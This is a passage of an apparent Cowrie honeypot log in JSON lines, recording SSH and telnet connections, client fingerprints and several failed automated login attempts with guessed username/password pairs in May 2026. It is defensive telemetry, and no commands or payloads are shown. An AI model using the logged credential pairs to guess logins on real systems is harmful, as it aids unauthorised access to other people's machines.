-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:48.970771Z","src_ip":"36.93.249.106","session":"d733fb8ad770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userlog","password":"userlog123","message":"login attempt [userlog/userlog123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:50.139730Z","src_ip":"36.93.249.106","session":"d733fb8ad770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be72a6f3c20","protocol":"ssh","message":"New connection: 211.186.79.173:60174 (10.17.0.5:22) [session: 2be72a6f3c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:50.998102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:51.002899Z","src_ip":"211.186.79.173","session":"2be72a6f3c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:51.190219Z","src_ip":"211.186.79.173","session":"2be72a6f3c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:51.425546Z","src_ip":"36.93.249.106","session":"d733fb8ad770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd!!","message":"login attempt [ubuntu/P@ssw0rd!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:51.982487Z","src_ip":"211.186.79.173","session":"2be72a6f3c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:52.739998Z","src_ip":"120.48.135.189","session":"4a003f267f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:53.185127Z","src_ip":"211.186.79.173","session":"2be72a6f3c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.163.191.162","src_port":40608,"dst_ip":"159.203.135.109","dst_port":23,"session":"717d435fae89","protocol":"telnet","message":"New connection: 164.163.191.162:40608 (159.203.135.109:23) [session: 717d435fae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:23.092671Z"}
{"eventid":"cowrie.session.closed","duration":12.626112222671509,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:35.718437Z","src_ip":"164.163.191.162","session":"717d435fae89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":44268,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9f615d4f13","protocol":"ssh","message":"New connection: 36.93.249.106:44268 (159.203.135.109:22) [session: ca9f615d4f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:45.461356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:45.466268Z","src_ip":"36.93.249.106","session":"ca9f615d4f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:45.738767Z","src_ip":"36.93.249.106","session":"ca9f615d4f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123","message":"login attempt [vbox/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:46.853877Z","src_ip":"36.93.249.106","session":"ca9f615d4f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:48.129686Z","src_ip":"36.93.249.106","session":"ca9f615d4f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":49976,"dst_ip":"10.17.0.5","dst_port":22,"session":"d14120bebcda","protocol":"ssh","message":"New connection: 120.48.135.189:49976 (10.17.0.5:22) [session: d14120bebcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:59.114700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:59.123869Z","src_ip":"120.48.135.189","session":"d14120bebcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:01:59.343960Z","src_ip":"120.48.135.189","session":"d14120bebcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"000000","message":"login attempt [es/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:00.253931Z","src_ip":"120.48.135.189","session":"d14120bebcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":41754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a913460e366e","protocol":"ssh","message":"New connection: 187.212.47.18:41754 (10.17.0.5:22) [session: a913460e366e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:00.756755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:00.761585Z","src_ip":"187.212.47.18","session":"a913460e366e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:01.010155Z","src_ip":"187.212.47.18","session":"a913460e366e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2016","message":"login attempt [sysadmin/sysadmin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:01.352269Z","src_ip":"187.212.47.18","session":"a913460e366e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:02.433160Z","src_ip":"187.212.47.18","session":"a913460e366e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":49026,"dst_ip":"10.17.0.5","dst_port":22,"session":"429f1955a045","protocol":"ssh","message":"New connection: 211.186.79.173:49026 (10.17.0.5:22) [session: 429f1955a045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:09.850672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:09.855549Z","src_ip":"211.186.79.173","session":"429f1955a045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:10.037043Z","src_ip":"211.186.79.173","session":"429f1955a045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@","message":"login attempt [ubuntu/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:10.798100Z","src_ip":"211.186.79.173","session":"429f1955a045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:11.982112Z","src_ip":"211.186.79.173","session":"429f1955a045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":42160,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab25d281a131","protocol":"ssh","message":"New connection: 36.93.249.106:42160 (159.203.135.109:22) [session: ab25d281a131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:44.479001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:44.483765Z","src_ip":"36.93.249.106","session":"ab25d281a131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:44.762635Z","src_ip":"36.93.249.106","session":"ab25d281a131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwezxc","message":"login attempt [admin/qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:45.907408Z","src_ip":"36.93.249.106","session":"ab25d281a131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:02:47.187316Z","src_ip":"36.93.249.106","session":"ab25d281a131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":32570,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f38a1143d5","protocol":"ssh","message":"New connection: 185.9.193.111:32570 (159.203.135.109:22) [session: f5f38a1143d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:19.033597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:19.038320Z","src_ip":"185.9.193.111","session":"f5f38a1143d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:19.355025Z","src_ip":"185.9.193.111","session":"f5f38a1143d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.143.151.198","src_port":50098,"dst_ip":"10.17.0.5","dst_port":22,"session":"104c3be5aaf3","protocol":"ssh","message":"New connection: 198.143.151.198:50098 (10.17.0.5:22) [session: 104c3be5aaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.376642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.380393Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.443369Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
